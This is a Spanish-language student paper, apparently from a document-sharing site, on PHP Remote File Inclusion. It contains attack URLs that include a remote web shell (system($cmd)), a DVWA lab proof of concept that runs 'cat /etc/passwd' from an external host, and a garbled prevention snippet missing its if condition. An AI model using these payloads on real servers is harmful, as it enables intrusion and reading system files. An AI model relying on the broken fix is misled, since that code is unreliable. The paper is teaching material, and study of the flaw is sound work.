Sunteți pe pagina 1din 6

INTRODUCCION

Remote File Inclusin traducido al espaol como Inclusin Remota de Archivos.


Es una Vulnerabilidad existente solamente en pginas de tipo dinmicas en PHP
que permiten el enlace de archivos remotos situados en otros servidores a causa de
una mala programacin de la pgina que contiene la funcin include().
Este tipo de vulnerabilidad no se da en pginas programadas en ASP o en cualquier
otro tipo de lenguaje similar que no contenga la posibilidad de la inclusin remota
de archivos ajenos al servidor.
Algunas de las funciones

que podemos mencionar son include, include_once,

require, require_once estas son utilizadas para incluir en una misma pgina otras
pginas a la vez, por la necesidad de utilizar un cdigo fuente o por otras diversas
razones de programacin.

Principales vectores de ataque.


Las funciones include, include_once, require, require_once son utilizadas para
incluir en una misma pgina otras pginas a la vez, por la necesidad de utilizar
un cdigo fuente o por otras diversas razones de programacin.
Una pgina vulnerable que presente un aspecto similar a este en su URL:
http://[servidor_victima]/index.php?page=plantilla.html
El atacante podr obtener una Shell en el servidor vulnerable mediante lo siguiente:
http://[servidor_victima]/index.php?page=http://[servidor_atacante]/shell.txt&&
cmd=ls
Pudiendo contener el archivo shell.txt cualquier cdigo, por ejemplo:
<?
system($cmd);
?>
El archivo debe tener una extensin distinta a cualquier otra que se pueda ejecutar
en el servidor del atacante (.txt,.gif, etc), una extensin ".php" no sera vlida, ya que
en el servidor vctima al incluir el fichero con extensin.php se estara ejecutando
antes el cdigo php en el servidor del atacante; recordemos que el cdigo php se
ejecuta en el servidor y el usuario solo puede ver el resultado, es por esto que el
cdigo del script malicioso debe ir con una extensin distinta, ya que la funcin
include, require, require_once, include_once ejecutara el cdigo php contenido en
el fichero que se pasa como parmetro a la funcin, sin importar la extensin que
tenga.
Lo que la vctima incluye en su pgina son secciones que se pasan a la variable page
segn el ejemplo anterior

<?
include_once($page)
?>

Prueba de Concepto en Plataforma DVWA

La manera de ejecutarlo es posicionando un script en un servidor al que tengamos


acceso y cargarlo con su direccin completa de esta manera:
http://192.168.1.10/dvwa/vulnerabilities/fi/?page=http://misestudios.byethost7.com/header.
inc.php
Lo cual nos debera ejecutar el cdigo contenido en el archivo header.inc.php, el cual
es:
<?php
print system("cat /etc/passwd");
?>

Que nos tendra que devolver algo similar a lo siguiente de funcionar embebido en
nuestro dvwa:

Como prevenir esta vulnerabilidad.


Algunas De la pautas para prevenir este tipo de ataques, es posible utilizar o bien el
indicador "./" para advertir que el archivo debe encontrarse en el directorio actual u
otro indicador tal como "includes/".
De esta forma no podra utilizar la variable page para RFI. Aunque nos podra hacer
vulnerables a que un atacante incluya archivos en el servidor donde estamos.
Otra solucin ms avanzada es aplicar una validacin de la variable enviada como
parmetro, descartando la inclusin de archivos remotos no deseados.
<?
die('Error. intento de RFI..');
else
include ($url);
?>

Con este cdigo evitas este tipo de ataques, que son fciles de solucionar pero que
muchos programadores no se dan cuenta o no dan importancia.

Bibliografa
Fundacin Wikimedia, Inc.. (11 mar 2013 a las 16:36.). Remote File Inclusion. 11 mar
2013 a las 16:36., de Licencia Creative Commons Atribucin Compartir Igual 3.0;
Sitio web: https://es.wikipedia.org/wiki/Remote_File_Inclusion

wiki3. (21 jun. 2008 14:05). Remote File Inclusion. 21 jun. 2008 14:35, de
Elhacker.net Sitio web: http://wiki.elhacker.net/bugs-y-exploits/nivel-web/rfi

S-ar putea să vă placă și